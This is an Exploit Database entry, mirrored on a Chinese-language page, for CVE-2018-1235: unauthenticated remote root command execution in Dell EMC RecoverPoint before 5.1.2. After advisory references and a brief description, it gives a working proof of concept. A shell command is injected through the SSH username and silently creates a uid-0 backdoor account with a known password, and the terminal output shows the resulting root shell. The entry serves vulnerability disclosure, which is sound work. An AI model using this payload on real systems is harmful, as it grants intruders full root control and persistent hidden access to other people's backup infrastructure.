Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution

• Exploit Database
• 16 阅读

• 作者： Paul Taylor
  日期： 2018-06-21
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44921/

• # Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
  # Date: 2018-06-21
  # Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
  # Exploit Author: Paul Taylor
  # Vendor Advisory: DSA-2018-095
  # Vendor KB: https://support.emc.com/kb/521234
  # Github: https://github.com/bao7uo/dell-emc_recoverpoint
  # Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
  # Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
  # CVE: CVE-2018-1235
   
  # 1. Description
  # An OS command injection vulnerability exists in the mechanism which processes usernames 
  # which are presented for authentication, allowing unauthenticated root access via 
  # the ssh service.
   
  # 2. Proof of Concept
  # Inject into ssh username.
  # N.B. combined length of new username+password is limited to 21 due to injection length limitations
  
  $ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3
  Password: ^C
  $ ssh bao7uo@192.168.57.3
  Password: Secret123
  Could not chdir to home directory /home/bao7uo: No such file or directory
  root@recoverpoint:/# id
  uid=0(root) gid=0(root) groups=0(root)
  root@recoverpoint:/#